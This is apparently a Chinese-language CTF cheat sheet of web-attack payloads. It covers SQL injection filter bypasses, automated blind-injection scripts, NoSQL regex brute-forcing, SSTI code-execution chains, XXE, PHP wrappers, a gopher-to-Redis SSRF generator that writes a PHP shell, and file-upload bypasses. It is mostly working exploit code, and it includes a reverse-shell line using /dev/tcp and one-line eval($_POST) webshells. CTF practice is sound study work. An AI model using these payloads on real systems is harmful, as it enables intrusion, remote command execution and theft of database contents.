常见的几个HTTP IP头
x-forwarded-for
x-remote-IP
x-originating-IP
x-remote-ip
x-remote-addr
x-client-ip
x-client-IP
Client-ip
X-Real-ip
SQL Injection
SQL绕过
空格被过滤
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/
引号绕过
使用hex编码
0x123123
双写绕过
如union --> uniunionon
select --> seleselectct
from --> frfromom
union被过滤
利用 /*!union*/ 可以绕过对union的过滤
or and xor not绕过
利用符号替换and = && or=|| xor=| not=!
在敏感词中添加注释:an/**/d
注释符绕过
id=1' union select 1,2,3 or '1'='1 即虽然无法使用注释符,但是可以闭合掉他或者:id=1' union select 1,2,'3
最后添加or 1'
最后添加 and '1'='1
等于号绕过
使用like
使用!<>,因为<>是不等于
宽字节绕过
当 '," 被过滤,\',\",可以使用%df吃掉\
%df\' = %df%5c%27 = 運'
\被过滤,后面的%5c会被前面的%5c注释掉
%**%5c%5c%27
联合注入
判断查询几个字段
'or 1=2 union select 1,2,3,4 #
爆表名得fl4g
'or 1=2 union select group_concat(table_name),2,3,4 from information_schema.columns where table_schema=database()#
爆列名得skctf_flag
'or 1=2 union select group_concat(column_name),2,3,4 from information_schema.columns where table_schema=database()#
查询表fl4g获得flag
'or 1=2 union select skctf_flag,2,3,4 from fl4g#
子查询
-1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
报错注入
爆库
updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1)
爆表
updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1)
爆列
updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1)
updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1)
获取flag
updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1)
堆叠注入
用分号结束一个语句来实现执行任意的sql语句
1';show databases;#
1';show tables;#
查看表结构
0';desc 表名;#
盲注
异或型
ORD() #转ASCII
异或’^’是一种数学运算,1^1=0 0^0=0 1^0=0,可以用来进行sql注入,当两条件相同时(同真同假)结果为假,当两条件不同时(一真一假)结果为真。
import requests
url = "http://dcf33d60-7ffa-41c0-8915-e935ccbdd37b.node3.buuoj.cn/search.php"
flag = ''
def payload(i, j):
# 数据库名字
sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)
# 表名
#sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1"%(i,j)
# 列名
#sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())),%d,1))>%d)^1"%(i,j)
# 查询flag
#sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)
data = {"id": sql}
r = requests.get(url, params=data)
# print (r.url)
if "Click" in r.text:
res = 1
else:
res = 0
return res
def exp():
global flag
for i in range(1, 10000):
low = 31
high = 127
while low <= high:
mid = (low + high) // 2
res = payload(i, mid)
if res:
low = mid + 1
else:
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)
exp()
时间盲注
import requests
import time
url = "http://1fb17384-cfbb-49c8-8c5f-c32784aa812b.node3.buuoj.cn/image.php?id=\\0&path=or "
flag = ''
def payload(i, j):
startTime=time.time()
# 数据库名字
sql = "id = if(ascii(substr(database(),%d,1))>%d,sleep(5),-1)%%23"%(i,j)
# 表名
#sql = "id = if(ascii(substr((select group_concat(table_name) from information_schema.columns where table_schema=database()),%d,1))>%d,sleep(5),-1)%%23"%(i,j)
# 列名
#sql = "id = if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),%d,1))>%d,sleep(5),-1)%%23"%(i,j)
# 查询flag
#sql = "id = if(ascii(substr((select password from users),%d,1))>%d,sleep(5),-1)%%23"%(i,j)
r = requests.get(url + sql)
# print (r.url)
if time.time()-startTime>2:
res = 1
else:
res = 0
return res
def exp():
global flag
for i in range(1, 10000):
low = 31
high = 127
while low <= high:
mid = (low + high) // 2
res = payload(i, mid)
if res:
low = mid + 1
else:
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)
exp()
布尔盲注
import requests
url = "http://192.168.0.132:86/Less-7/?id=%s"
flag = ''
def payload(i, j):
# 数据库名字
sql = "1')) and ascii(substr(database(),%d,1))>%d--+"%(i,j)
# 表名
#sql = "1')) and ascii(substr((select group_concat(table_name) from information_schema.columns where table_schema=database()),%d,1))>%d--+"%(i,j)
# 列名
#sql = "1')) and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),%d,1))>%d--+"%(i,j)
# 查询flag
#sql = "1')) and ascii(substr((select password from users),%d,1))>%d--+"%(i,j)
r = requests.get(url % sql)
# print (r.url)
if "Click" in r.text:
res = 1
else:
res = 0
return res
def exp():
global flag
for i in range(1, 10000):
low = 31
high = 127
while low <= high:
mid = (low + high) // 2
res = payload(i, mid)
if res:
low = mid + 1
else:
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)
exp()
nosql盲注
import requests
import string
password = ''
url = 'http://node4.buuoj.cn:29402/login.php'
#盲注当知道了用户名后就可以用正则$regex来爆破密码
while True:
for c in string.printable:
if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:
# When the method is GET
get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
# When the method is POST
post_payload = {
"username": "admin",
"password[$regex]": '^' + password + c
}
# When the method is POST with JSON
json_payload = """{"username":"admin", "password":{"\\u0024\\u0072\\u0065\\u0067\\u0065\\u0078":"^%s"}}""" % (password + c)
headers = {'Content-Type': 'application/json'}
r = requests.post(url=url, headers=headers, data=json_payload) # 简单发送 json
#r = requests.post(url=url, data=post_payload)
if '但没完全登录' in r.content.decode():
password += c
print(password)
SSTI模板注入:
smarty利用
- smarty中的{if}标签中可以执行php语句,得flag:{if readfile(‘/flag’)}{/if}
- smarty中还有{literal}、{php}(smarty 2可用)
- {literal}可以让块中间的内容忽略Smarty的解析,paylaod: {literal}alert(‘xss’);{/literal}可以产生xss
绕过
- 过滤单引号,用双引号来绕过
- 过滤点 . ,用[]来绕过
- 过滤下划线_,用\x5f来绕过
- 过滤class,base,subclasses这些,用+进行字符串的拼接来绕过。
python
可利用的模板
(58, <class 'warnings.WarningMessage'>, '__builtins__')
(58, <class 'warnings.WarningMessage'>, 'linechache')
(59, <class 'warnings.catch_warnings'>, '__builtins__')
(59, <class 'warnings.catch_warnings'>, 'linechache')
(60, <class '_weakrefset._IterationGuard'>, '__builtins__')
(61, <class '_weakrefset.WeakSet'>, '__builtins__')
(71, <class 'site._Printer'>, '__builtins__')
(71, <class 'site._Printer'>, 'os')
(76, <class 'site.Quitter'>, '__builtins__')
(76, <class 'site.Quitter'>, 'os')
(77, <class 'codecs.IncrementalEncoder'>, '__builtins__')
(78, <class 'codecs.IncrementalDecoder'>, '__builtins__')
构造payload
{{().__class__.__bases__[0].__subclasses__()}}
---查看所有可用模块
{{().__class__.base__.__subclasses__().index(warnings.catch_warnings)}}
查看利用模板的位置,不一定生效
任意代码执行
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
# eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
反弹shell
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}{% endif %}{% endfor %}
查看根目录
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
读取源码
查看根目录
__import__(\"os\").popen(\"ls\").read()
读取文件
__import__(\"os\").popen(\"cat flag.txt\").read()
{{()["__class__"]["__bases__"][0]["__subclasses__"]()[80]["load_module"]("os")["system"]("ls")}}
//用<class '_frozen_importlib.BuiltinImporter'>这个去执行命令
{{()["__class__"]["__bases__"][0]["__subclasses__"]()[91]["get_data"](0, "app.py")}}
//用<class '_frozen_importlib_external.FileLoader'>这个去读取文件
flag写进config,config被过滤,通过url_for进行绕过
{{url_for.__globals__}} #得到所有模块
{{url_for.__globals__['current_app'].config}} #通过current_app读取config
{{url_for.__globals__.os.popen(request.args.cmd).read()}} get传参cmd
Twig模板注入
payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}};
php
反序列化
serialize //序列化
unserialize //反序列化
魔术方法
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
伪协议
传输协议
?text=data://text/plain,I have a dream
读取文件
?file=php://filter/read=convert.base64-encode/resource=index.php
XXE漏洞
读取任意文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY file SYSTEM "file:///flag" >
]>
<root>
<name>&file;</name>
</root>
SSRF漏洞
import urllib
protocol="gopher://"
ip="10.66.150.11"
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
文件上传
修改后缀
常用后缀有php3、php4、phtml、pht、phpt、php5、php6
文件攻击
上传.htaccess文件
<IfModule mime_module>
AddHandler php5-script .gif #在当前目录下,只针对gif文件会解析成Php代码执行
SetHandler application/x-httpd-php #在当前目录下,所有文件都会被解析成php代码执行
</IfModule>
<FilesMatch "xxx">
SetHandler application/x-httpd-php #在当前目录下,所有文件都会被解析成php代码执行
</FilesMatch>
上传.user.ini,解析a.jpg为php
GIF89a
auto_prepend_fible=a.jpg
头部绕过
gif(GIF89a):47 49 46 38 39 61
GIF87a
MIME检测绕过
image/gif
image/png
image/jpeg
image/svg+xml
00截断
%00截断:在get请求最后加一个%00
00截断(post):通过二进制修改在最后改错00
js绕过
<script language="php">eval($_POST['laotun']);</script>
短标签绕过
<?=@eval($_POST['laotun']);?>